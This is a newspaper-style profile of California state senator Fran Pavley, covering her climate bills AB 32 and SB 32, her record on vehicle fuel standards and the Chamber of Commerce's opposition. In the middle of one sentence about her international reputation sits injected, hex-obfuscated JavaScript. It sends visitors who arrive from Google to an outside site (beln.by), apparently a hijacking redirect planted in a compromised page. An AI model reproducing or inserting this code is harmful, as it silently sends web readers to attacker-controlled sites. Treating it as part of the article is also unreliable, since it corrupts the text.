Fran Pavley: The quiet crusader

Sen. Fran Pavley, D-Agoura Hills, chair of the Senate Natural Resources and Water Committee, addresses colleagues on the Senate floor.(Photo: Rich Pedroncelli/AP)

To environmentalists in California, across the nation and around the world, she is a trailblazing leader.

To the California Chamber of Commerce and many Republicans, she is the unrealistic author of job-killing, la-de-da legislation.

To some, she is a futurist who predicts gas stations will disappear in 10 years.

She is Fran Pavley, a pleasant, gray-haired Democratic state senator and former school teacher from Southern California who in conversation does not come across as a firebrand, but can grow passionate about using legislation to protect the environment.

She is regarded by her allies and adversaries in the Legislature as the chief legislative hawk on environmental protection.

Outside her district encompassing the eastern portion of Ventura and a bit of Los Angeles counties, it’s a good bet that relatively few Californians have heard of Pavley, although she is well known in environmental circles nationally and internationally var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. She was invited to a front-row seat in the Rose Garden to hear praise from Barack Obama for her work on the environment, and is headed for Paris later this year for an environmental conference.

Pavley has a constant flow of international visitors to her office, there to consult on environmental issues. She is regarded by her allies and adversaries in the Legislature as the chief legislative hawk on environmental protection.

She is the architect California’s landmark battle against greenhouse gases, although other political figures – Gov. Brown, for example – have adopted the issue as their own.

“There’s probably no one in the U.S. who’s done more for clean energy, for less credit, than Fran Pavley,” says environmental activist and writer David Roberts.

Pavley was born in Sherman Oaks in 1948, when smog was making its presence felt from Compton to Beverly Hills. Air quality, or lack of it, has therefore been a constant in Pavley’s life. “I grew up in the San Fernando Valley, where we weren’t allowed to go outside on heavy smog days,” she says.

What the California Chamber of Commerce regards as Pavley’s latest outrage is SB 32, a bill that would set a target of an 80 percent reduction of greenhouse gases below 1990 emission levels by 2050.

Before heading to Sacramento, Pavley, a mother of two, spent 28 years as a middle school teacher. She and her husband, Andy, also a teacher, have raised four guide dogs for the blind. She was elected the first mayor of the City of Agoura Hills (2010 population 20,330) when residents of the almost all-white area voted to incorporate in 1982. Pavley served four terms on the City Council before she was elected to the Assembly in 2000 and the state Senate in 2008. She chairs the Senate Natural Resources and Water Committee, a commanding spot from which to launch environmental legislation.

It can be plausibly argued she has had an outsized influence on Californians’ daily lives compared to most state legislators. Pavley is proud of the fact that legislation she authored as an Assembly newbie in 2002 has, after years, led to much higher national vehicle fuel economy standards in the United States and Canada. Environmentalists across the nation hailed the Pavley-generated standards as the first increase in auto efficiency standards in 30 years. They have now become generally accepted fact of life.

“I get invited to auto shows,” Pavley says, laughing.

Yet more change is on the way, Pavley believes.

“I predict that 10 years from now you won’t have gas stations. You’ll have fueling stations that offer a variety of low-carbon fuels,” she says.

What the California Chamber of Commerce regards as Pavley’s latest outrage is SB 32, a bill that would set a target of an 80 percent reduction of greenhouse gases below 1990 emission levels by 2050. The bill would authorize the California Air Resources Board (CARB) to establish interim benchmarks in 2030 and 2040 to ensure that the reductions are really happening. SB 32 is part of a multi-bill, climate-change initiative sponsored by Senate President Pro Tem Kevin de León.

Asked in a telephone interview if her SB 32 is a job killer, Pavley has a one-word answer: “No.”

SB 32 is a followup to Pavley’s AB 32, The California Global Warming Solutions Act of 2006 that required the California Air Resources Board (CARB) to develop regulations reducing the state’s greenhouse gas emissions to a level no greater than 1990 levels by 2020. It aimed at a 25 percent reduction by 2020. Republican Governor Arnold Schwarzenegger signed AB 32 into law in September of 2006.

Since the emission-reduction target in Pavley’s landmark AB 32 is 2020, there would be no continuing target without further legislation, hence SB 32.

Its equally far-reaching companion bill, de Leon’s SB 350, sets a deadline of 2030 for reaching a 50 percent reduction in petroleum use from motor vehicles, generating 50 percent of California’s electricity from renewable power sources, and doubling energy efficiency in existing buildings. It too has cleared the state Senate and is now in the Assembly.

The California Chamber does not believe The Moment is Right for SB 32, labeling it “a job killer.”

“SB 32 mandates a reduction in greenhouse gas emissions to 80% below 1990 levels by 2050 with no consideration of the economic side effects,” the Chamber says. “While CalChamber appreciates the need to address climate change, we should have the opportunity to know what has worked with the implementation of AB 32 before creating additional climate change mandates. Post -2020 climate policies need to be made with the aid of rigorous, objective and impartial analysis of the costs, impacts, benefits and alternatives for moving forward. The Legislature deserves a robust, informed analysis and to be informed before giving the California Air Resources Board (CARB) carte blanche authority to move forward,” the Chamber continued.

Republican Senator Jeff Stone of Temecula, who serves as Vice-Chair of the state Senate’s Natural Resources Committee, agrees with the Chamber.

“The California Chamber of Commerce, representing businesses from Chico down to Calexico, has dubbed SB 32 as another job killer for California,” Stone said in a statement after SB 32 passed the Senate on a 22-15 vote. “I’m sure the governors of South Carolina, Nevada, Texas, are watching today as they see more businesses ready to cross the border with a red carpet into their communities.”

Asked in a telephone interview if her SB 32 is a job killer, Pavley has a one-word answer: “No.”

She argues that California has recouped 1.3 million jobs as it emerged from the Great Recession. Many of those jobs, she contends, are in emerging technologies such as solar power.

“Everyone’s district can point to new jobs that wouldn’t be there without these new industries that protect the environment,” Pavley says. “We have shown you can have a strong and vibrant economy and protect the environment,” and the world is paying attention.

“We’re making a huge impact,” she says.

What are the chances for SB 32 in the Assembly?

Pavley is cautious. “I’m hoping they’re quite good,” she says. “But you know, there’s politics involved.”

Jerry Brown, Pavley says, has been generally supportive of environmental protection efforts both as governor and earlier as attorney general. (Of the 76 news releases issued by Brown as attorney general between January 23 and December 20, 2007, no fewer than 27 had to do with environmental issues. Brown was particularly critical of the federal Environmental Protection Agency, contending it wasn’t doing enough.)

On June 24, Brown did sign a Pavley measure expanding the number of low-polluting California car eligible to carry a “green” sticker from 70,000 to 85,000. Pavley said the bill would be an incentive for buying such vehicles.

Fellow Democrat Gray Davis and Republican Arnold Schwarzenegger have also been generally supportive, she says.

Pavley will be termed out at the end of her current second term in the Senate. At age 66, she says she has no definite plans for the future, although there seems to be little doubt she will, in one way or another, remain active on environmental issues.

And does she feel under-appreciated?

“My mother thinks I’m wonderful. She keeps a scrapbook.”

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